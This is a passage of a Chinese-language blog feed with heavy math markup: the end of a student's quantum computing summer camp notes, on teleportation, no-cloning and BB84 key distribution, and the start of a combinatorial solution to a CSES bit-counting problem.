display="block"><semantics><mrow><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi>α</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi>β</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\frac{1}{\sqrt2}\left( \alpha\vert{}0\rangle+\beta\vert{}1\rangle \right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.2514em;vertical-align:-0.93em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>其他三種情形也可簡易驗證。</p><blockquote><p>這裡的操作其實和前面的 Superdense coding 很像，都是 CNOT 跟 CZ 在操作</p></blockquote><blockquote><p>常見問題：這有違反「不可複製原理」嗎？<br>答：沒有，複製是我有一個原本的東西，然後又有一個複製出來的東西。這裡因為測量已經破壞掉原本那顆了，所以不算。</p></blockquote><h2 id="qkd---bb84" tabindex="-1" id="QKD-BB84">QKD - BB84</h2><blockquote><p>BB84 只是其中一種 QKD 協議，似乎還有 B92、E91 之類的東西</p></blockquote><p>這個協議不但能安全的約定出一次性密碼，還可以偵測出有沒有監聽者！</p><p>我想偷懶，所以我查到這篇文寫的還不錯所以就看他吧XD</p><p><a href="https://kelispinor.medium.com/%E9%87%8F%E5%AD%90%E5%8A%A0%E5%AF%86%E6%8A%80%E8%A1%93%E6%A5%B5%E7%B0%A1%E4%BB%8B-qkd-quantum-key-distribution-a795a470ff83">量子加密技術極簡介 (QKD-Quantum Key Distribution)</a></p><p>這裡要補充的只有他們可以拿部分的 bits 來抓監聽者，剩下的再當 key，因為抓監聽者需要交換 Alice 和 Bob 各自算出的 Key，有洩漏 key 的風險。比如他們發 1000 個 bits，平均而言應該會有 500 個是可用的，他們就能約定好拿前 100 個用來抓有沒有監聽者，剩下的 400 個才當 key。大概是這樣的概念:)</p><h1 id="%E5%85%B6%E4%BB%96" tabindex="-1">其他</h1><h2 id="%E8%90%AC%E7%89%A9%E6%80%8E%E9%BA%BC%E4%BE%86" tabindex="-1" id="萬物怎麼來">萬物怎麼來</h2><p><img src="everything.jpg" alt="萬物怎麼來"></p><blockquote><p>是說，「道元」是什麼？那是教授對 Token 的翻譯。他說他想了三天三夜，突然想到「象形文字」是基本單元，所以想翻譯成「象元」，然後一查發現這個詞只被用在老子象元篇。再想一想覺得「道元」比較好。</p></blockquote><h2 id="%E9%87%8F%E5%AD%90%E7%9B%B8%E9%97%9C%E6%B4%BB%E5%8B%95" tabindex="-1" id="量子相關活動">量子相關活動</h2><table><thead><tr><th>活動</th><th>大約的時間</th></tr></thead><tbody><tr><td>TAQCIT 年會</td><td>八月</td></tr><tr><td>高中量子計算暑期營</td><td>七月</td></tr><tr><td>高中種子教師培訓</td><td>七或八月</td></tr><tr><td>量子黑客松</td><td>八月</td></tr><tr><td>Semicon Taiwan</td><td>九月</td></tr><tr><td>QRACON 學生量子電腦年會</td><td>今年在十二月</td></tr></tbody></table><h2 id="%E8%83%BD%E9%87%8F%E3%80%81%E8%B3%87%E8%A8%8A%E3%80%81%E7%89%A9%E8%B3%AA" tabindex="-1" id="能量、資訊、物質">能量、資訊、物質</h2><p>能量、物質能互通；能量、資訊能互通，那物質跟資訊呢？<br><img src="2026-07-18-19-49-50.png" alt="能量、物質、資訊"></p><blockquote><p>我懶得再重新製圖XD</p></blockquote><h1 id="%E5%BE%8C%E8%A8%98" tabindex="-1">後記</h1><p>參加這個課程受益良多啊，其中一點是讓我找回念物理跟數學的熱忱XD<br>值得注意的是許多教授在講課時都能感受到他們對這些東西的熱情，也上的很活潑生動，<s>一直亂 cue 人</s><br>我除了下課跑去找教授練肖維(笑死某個教授一直洗腦(?催眠(?說服(?大家去念物理系w)，還認識了兩個附中高二的新朋友每天放學聊天！<br>btw 午休 2 小時真的好爽啊XD 星期五我無聊繞進次震宇宙館，感覺還是像之前一樣震撼:D</p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/07/19/%E5%9F%BA%E7%A4%8E%E9%87%8F%E5%AD%90%E6%BC%94%E7%AE%97%E6%B3%95%E8%88%87%E6%87%89%E7%94%A8-2026-%E9%AB%98%E4%B8%AD%E9%87%8F%E5%AD%90%E8%A8%88%E7%AE%97%E6%9A%91%E6%9C%9F%E7%87%9F%E7%AD%86%E8%A8%98/</id>
    <link href="https://r3xdj.pages.dev/2026/07/19/%E5%9F%BA%E7%A4%8E%E9%87%8F%E5%AD%90%E6%BC%94%E7%AE%97%E6%B3%95%E8%88%87%E6%87%89%E7%94%A8-2026-%E9%AB%98%E4%B8%AD%E9%87%8F%E5%AD%90%E8%A8%88%E7%AE%97%E6%9A%91%E6%9C%9F%E7%87%9F%E7%AD%86%E8%A8%98/"/>
    <published>2026-07-19T07:48:53.000Z</published>
    <summary>A comprehensive study note from the 2026 High School Quantum Computing Summer Camp. Covering quantum mechanics postulates, Schrodinger equation derivation, and step-by-step analysis of key quantum algorithms (Deutsch, Grover) and communication protocols with circuit maze visualizations.</summary>
    <title>基礎量子演算法與應用 | 2026 高中量子計算暑期營筆記</title>
    <updated>2026-08-02T08:39:34.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="OI" scheme="https://r3xdj.pages.dev/categories/OI/"/>
    <category term="CSES" scheme="https://r3xdj.pages.dev/categories/OI/CSES/"/>
    <category term="Bitwise Operations" scheme="https://r3xdj.pages.dev/categories/OI/CSES/Bitwise-Operations/"/>
    <category term="C++" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <category term="bits" scheme="https://r3xdj.pages.dev/tags/bits/"/>
    <content>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1><p>題目見網址：<a href="https://cses.fi/problemset/task/1146/">https://cses.fi/problemset/task/1146/</a><br>我懶得複製過來了XD<br>簡單來說就是輸入 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>，要問 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 中的所有正整數寫成二進位之後總共有幾個 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>。<br>其實這是排列組合那邊的經典問題，只是數學課我們是直接在十進位算。</p><h1 id="%E8%A7%A3%E6%B3%95" tabindex="-1">解法</h1><h2 id="%E6%86%B6%E8%B5%B7%E9%AB%98%E4%B8%AD%E6%95%B8%E5%AD%B8" tabindex="-1" id="憶起高中數學">憶起高中數學</h2><p>回想一下高中排列組合的某個問題：</p><blockquote><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>999</mn></mrow><annotation encoding="application/x-tex">999</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">999</span></span></span></span> 中共有多少個 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>9</mn></mrow><annotation encoding="application/x-tex">9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">9</span></span></span></span>？</p></blockquote><p>有兩種解法，一種是分別算個位數、十位數、百位數有多少 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>9</mn></mrow><annotation encoding="application/x-tex">9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">9</span></span></span></span>，但有另一種比較快的看法(機率觀點)：<br>我們要找的相當於</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mn>000</mn><mo separator="true">,</mo><mn>001</mn><mo separator="true">,</mo><mn>002</mn><mo separator="true">,</mo><mn>003</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mn>999</mn></mrow><annotation encoding="application/x-tex">000, 001, 002, 003, \dots, 999</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">001</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">002</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">003</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">999</span></span></span></span></span></p><p>中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 的個數，裡面總共有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn><mo>×</mo><mn>1000</mn><mo>=</mo><mn>3000</mn></mrow><annotation encoding="application/x-tex">3\times1000=3000</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">3</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3000</span></span></span></span> 個「<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>9</mn></mrow><annotation encoding="application/x-tex">9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">9</span></span></span></span> 的數字」，而 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>9</mn></mrow><annotation encoding="application/x-tex">9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">9</span></span></span></span> 出現機率相同，所以所求即為</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mn>3000</mn><mo>×</mo><mfrac><mn>1</mn><mn>10</mn></mfrac><mo>=</mo><mn>300</mn></mrow><annotation encoding="application/x-tex">3000\times\frac{1}{10}=300</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">3000</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.0074em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">10</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">300</span></span></span></span></span></p><h2 id="%E7%B4%B0%E8%AA%AA%E6%9C%AC%E9%A1%8C" tabindex="-1" id="細說本題">細說本題</h2><p>接著就只是十進位轉成二進位而已，我們採取的策略是先找出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>k</mi></msup><mo>−</mo><mn>1</mn><mo>≤</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">2^k - 1 \leq n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9324em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 的最大的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>，然後 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> ~ <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>k</mi></msup><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^k - 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9324em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 的數量就是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>×</mo><msup><mn>2</mn><mi>k</mi></msup><mo>×</mo><mfrac><mn>1</mn><mn>2</mn></mfrac></mrow><annotation encoding="application/x-tex">k\times2^k\times\frac12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9324em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>。剩下再考慮 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">2^k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span> ~ <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 有多少數字 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 即可。<br>這樣能快速地把大量數字算完。接著，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">2^k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span> ~ <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 中每個數字的(二進位表示)最高位都是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，而且最高位是第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">k+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 位，總共有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>−</mo><msup><mn>2</mn><mi>k</mi></msup><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">n-2^k+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9324em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 個 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>。再來我們將這幾個數字最高位的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 都拔掉，我們要再計算剩下的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 總共有多少。</p><p>在繼續說明之前，我們先舉個例子比較清楚，以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mn>14</mn><mo>=</mo><msub><mn>1110</mn><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">n=14=1110_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">14</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">111</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 為例：<br>第一步驟解決掉 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> ~ <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>7</mn></mrow><annotation encoding="application/x-tex">7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>，共有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn><mo>×</mo><msup><mn>2</mn><mn>3</mn></msup><mo>×</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mo>=</mo><mn>12</mn></mrow><annotation encoding="application/x-tex">3\times 